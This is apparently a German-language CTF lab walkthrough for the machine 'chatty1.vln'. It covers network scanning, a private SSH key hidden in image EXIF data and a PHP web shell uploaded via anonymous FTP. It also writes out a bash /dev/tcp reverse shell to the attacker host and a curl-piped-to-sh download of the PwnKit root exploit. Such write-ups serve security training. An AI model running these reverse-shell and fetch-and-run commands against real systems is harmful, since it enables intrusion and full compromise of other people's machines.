ARP-Scan wird verwendet, um Hosts im lokalen Netzwerk zu entdecken. In diesem Fall finden wir einen Host mit der IP-Adresse 192.168.2.107 und der MAC-Adresse 08:00:27:66:69:65. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH.
Die Datei /etc/hosts wird verwendet, um Hostnamen zu IP-Adressen aufzulösen. Hier wird der Hostname chatty1.vln der IP-Adresse 192.168.2.107 zugewiesen. Dies ermöglicht uns, den Host über seinen Hostnamen anzusprechen.
Dieser Nmap-Befehl führt einen UDP-Scan der Top 1000 Ports auf dem Zielsystem durch.
-sU
: UDP-Scan--top-port 1000
: Scannt die Top 1000 Ports-T5
: Schnellste Scan-Geschwindigkeit (kann ungenau sein)-n
: Keine DNS-Auflösung$IP
: Ziel-IP-Adresse (192.168.2.107)-Pn
: Keine Ping-Anfrage vor dem Scan--min-rate 5000
: Sendet Pakete mit einer Rate von mindestens 5000 pro SekundeDieser Nmap-Befehl führt einen umfassenden TCP-Scan auf allen Ports des Zielsystems durch und filtert die Ausgabe, um nur offene Ports anzuzeigen.
-sS
: TCP-SYN-Scan (Stealth-Scan)-sC
: Verwendet Standard-NSE-Skripte für die Serviceerkennung-sV
: Erkennt die Service-Version-A
: Aggressiver Scan (Service-Version, Skript-Scan, Traceroute)-p-
: Scannt alle 65535 Ports$IP
: Ziel-IP-Adresse (192.168.2.107)-Pn
: Keine Ping-Anfrage vor dem Scan--min-rate 5000
: Sendet Pakete mit einer Rate von mindestens 5000 pro Sekundegrep open
: Filtert die Ausgabe, um nur Zeilen mit "open" anzuzeigenDieser Nmap-Befehl ist identisch mit dem vorherigen, jedoch ohne die Filterung der Ausgabe. Er liefert detailliertere Informationen zu den offenen Ports und Diensten.
Da der anonyme FTP-Zugang erlaubt ist, verwenden wir wget
, um rekursiv alle Dateien und Verzeichnisse vom FTP-Server herunterzuladen. Die Option -r
steht für rekursiv, was bedeutet, dass wget
alle Verzeichnisse und Unterverzeichnisse durchläuft und alle Dateien herunterlädt.
Nach dem Herunterladen der Dateien überprüfen wir den Inhalt des aktuellen Verzeichnisses. Wir sehen, dass ein Verzeichnis mit dem Namen 192.168.2.107
erstellt wurde, das die heruntergeladenen Dateien enthält.
In der Web-Enumerationsphase versuchen wir, versteckte Dateien und Verzeichnisse auf dem Webserver zu finden.
Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft.
X-Frame-Options
und X-Content-Type-Options
gemeldet, die das System anfällig für Clickjacking- und MIME-Sniffing-Angriffe machen könnten.Gobuster wird verwendet, um Brute-Force-Angriffe auf Verzeichnisse und Dateien auf dem Webserver durchzuführen.
-u
: Ziel-URL (http://192.168.2.107)-w
: Wordlist-Datei (/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt)-x
: Dateiendungen, nach denen gesucht werden soll-b
: Ignoriert die Statuscodes 503, 404 und 403-e
: Gibt die vollständige URL in der Ausgabe an--no-error
: Unterdrückt Fehlermeldungen-k
: Ignoriert SSL-Zertifikatfehler/zamowienie/
und seine Unterverzeichnisse /data/
, /css/
und /js/
existieren.
Wir wechseln in das Verzeichnis 192.168.2.107
, das zuvor mit wget
heruntergeladen wurde, und listen dessen Inhalt auf. Dies zeigt uns die Struktur und die Dateien, die wir vom FTP-Server heruntergeladen haben.
exiftool
wird verwendet, um Metadaten aus der Bilddatei tech-042712-004.jpg
zu extrahieren. Die Ausgabe zeigt verschiedene Metadaten, darunter den Künstlernamen, die Software, die zum Erstellen des Bildes verwendet wurde, und eine URL. Besonders interessant ist der Abschnitt Instructions
, der einen Base64-kodierten RSA-Privatschlüssel enthält. Dies ist ein potenziell sicherheitskritisches Ergebnis, da ein Angreifer diesen Schlüssel verwenden könnte, um sich als der Benutzer zu authentifizieren, dem der Schlüssel gehört.
Dieser Befehl extrahiert gezielt die Zeile mit den Instructions
aus den EXIF-Daten der Bilddatei. Dies bestätigt, dass der RSA-Privatschlüssel tatsächlich in den Metadaten der Datei vorhanden ist.
Hier erstellen wir eine Datei namens id_rsa
und fügen den extrahierten RSA-Privatschlüssel ein. Dies ermöglicht uns, den Schlüssel für die Authentifizierung zu verwenden. Der Befehl vi
wird verwendet, um die Datei zu erstellen und zu bearbeiten, und cat
gibt den Inhalt der Datei aus.
Der Befehl chmod +x id_rsa
macht die Datei id_rsa
ausführbar. Obwohl dies für eine private Schlüsseldatei nicht erforderlich ist, wird es hier möglicherweise verwendet, um Verwechslungen zu vermeiden oder um sicherzustellen, dass die Datei von anderen Tools gelesen werden kann. Es ist jedoch wichtig zu beachten, dass private Schlüsseldateien niemals ausführbar sein sollten, da dies ein Sicherheitsrisiko darstellen kann.
ssh2john
ist ein Tool, das verwendet wird, um SSH-Schlüssel in ein Format zu konvertieren, das von John the Ripper (einem Passwort-Cracking-Tool) verarbeitet werden kann. In diesem Fall gibt ssh2john
die Meldung "id_rsa has no password!" aus, was bedeutet, dass der private Schlüssel nicht passwortgeschützt ist.
In dieser Phase versuchen wir, initialen Zugriff auf das System zu erhalten.
Dieser Nmap-Scan wiederholt die Informationen, die wir bereits in der Reconnaissance-Phase gesammelt haben. Er bestätigt, dass der anonyme FTP-Zugang erlaubt ist und dass das Verzeichnis data
beschreibbar ist.
Wir verbinden uns mit dem FTP-Server als anonymer Benutzer.
Wir listen den Inhalt des FTP-Hauptverzeichnisses auf, um die Dateiberechtigungen zu überprüfen. Dies bestätigt erneut, dass das Verzeichnis data
beschreibbar ist (drwxrwxrwx).
Wir versuchen, die Datei rev.php
in das FTP-Hauptverzeichnis hochzuladen, was jedoch fehlschlägt. Die Fehlermeldung "553 Could not create file" deutet darauf hin, dass wir keine Schreibberechtigungen im Hauptverzeichnis haben.
Wir wechseln in das Verzeichnis data
.
Wir laden die Datei rev.php
in das Verzeichnis data
hoch. Der Upload ist erfolgreich, da wir Schreibberechtigungen in diesem Verzeichnis haben.
Nach dem Hochladen der rev.php
-Datei testen wir sie, um zu sehen, ob sie wie erwartet funktioniert.
Wir führen den Befehl id
über die rev.php
-Datei aus. Die Ausgabe zeigt, dass der Befehl als Benutzer www-data
ausgeführt wird. Dies bestätigt, dass wir Code auf dem Webserver ausführen können.
Wir listen den Inhalt des Verzeichnisses /home
auf, um die vorhandenen Benutzer zu identifizieren. Wir finden den Benutzer jpeguser
.
Wir lesen die Datei /etc/passwd
aus und filtern die Ausgabe nach Zeilen, die /bin/bash
enthalten. Dies zeigt uns die Benutzer, die eine Bash-Shell verwenden. In diesem Fall finden wir den Benutzer root
.
Wir starten einen Netcat-Listener auf Port 9001, um eine Reverse-Shell zu empfangen.
Wir verwenden die rev.php
-Datei, um eine Reverse-Shell zu starten. Der Befehl /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/9001 0>&1'
startet eine interaktive Bash-Shell und leitet die Ein- und Ausgabe über eine TCP-Verbindung zu unserer Kali-Maschine auf Port 9001 um. Die URL-kodierte Version dieses Befehls wird an die rev.php
-Datei übergeben.
Wir empfangen eine Verbindung von der Zielmaschine. Wir sind jetzt als Benutzer www-data
angemeldet. Die Meldungen "cannot set terminal process group" und "no job control in this shell" deuten darauf hin, dass wir keine vollständig interaktive Shell haben.
Wir listen den Inhalt des Verzeichnisses /home
auf, um die vorhandenen Benutzer zu identifizieren. Wir finden den Benutzer jpeguser
.
Wir überprüfen, ob Python installiert ist. Python ist oft nützlich für Privilege Escalation, da es viele exploitable Module gibt.
In dieser Phase versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.
Wir überprüfen unsere aktuelle Benutzer-ID. Wir sind immer noch als Benutzer www-data
angemeldet.
Wir suchen nach SUID-Dateien (Set User ID), die von Root ausgeführt werden können. SUID-Dateien ermöglichen es einem Benutzer, ein Programm mit den Privilegien des Dateibesitzers (in der Regel Root) auszuführen. Dies kann für Privilege Escalation ausgenutzt werden, wenn eine SUID-Datei eine Schwachstelle aufweist. Die Option -perm -4000
sucht nach Dateien, bei denen das SUID-Bit gesetzt ist. pkexec
ist hier ein interessanter Kandidat.
Wir wechseln in das Verzeichnis /tmp/
, da wir hier Schreibrechte haben.
Wir versuchen, eine Shell als Root mit pkexec
auszuführen. pkexec
ist ein Tool, das es autorisierten Benutzern ermöglicht, Befehle mit erhöhten Privilegien auszuführen. In diesem Fall werden wir nach dem Root-Passwort gefragt, das wir nicht kennen.
Wir überprüfen, ob curl
installiert ist, da wir es später für einen Exploit verwenden werden.
Dieser Proof of Concept demonstriert, wie wir die Schwachstelle in pkexec
ausnutzen können, um Root-Privilegien zu erlangen.
Wir laden das PwnKit-Skript herunter und führen es aus. PwnKit ist ein Exploit, der eine Schwachstelle in pkexec
ausnutzt, um Root-Privilegien zu erlangen.
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh
: Lädt das PwnKit-Skript herunter. Die Optionen -fsSL
stellen sicher, dass curl
bei Fehlern fehlschlägt (-f
), still ist (-s
), Weiterleitungen folgt (-L
) und SSL verwendet (-S
).sh -c "$( )"
: Führt das heruntergeladene Skript aus.
**Fantastisch! Der Root-Zugriff war erfolgreich!** Wir haben unser Ziel erreicht und sind jetzt als root
angemeldet.
Der Befehl id
bestätigt, dass wir Root-Privilegien haben (uid=0).
Wir listen den Inhalt des Root-Verzeichnisses auf, um die Datei flag.txt
zu finden.
Wir lesen den Inhalt der Datei flag.txt
, um die Root-Flagge zu erhalten.
Wir wechseln in das Home-Verzeichnis des Benutzers jpeguser
und listen dessen Inhalt auf.
Wir wechseln in das .ssh
-Verzeichnis des Benutzers jpeguser
und listen dessen Inhalt auf. Wir finden die Dateien authorized_keys
, id_rsa
und id_rsa.pub
. Dies deutet darauf hin, dass der Benutzer SSH-Schlüssel verwendet.
Die Reconnaissance-Phase ist der erste Schritt bei jedem Penetrationstest. Hier sammeln wir Informationen über das Zielsystem, um potenzielle Schwachstellen zu identifizieren.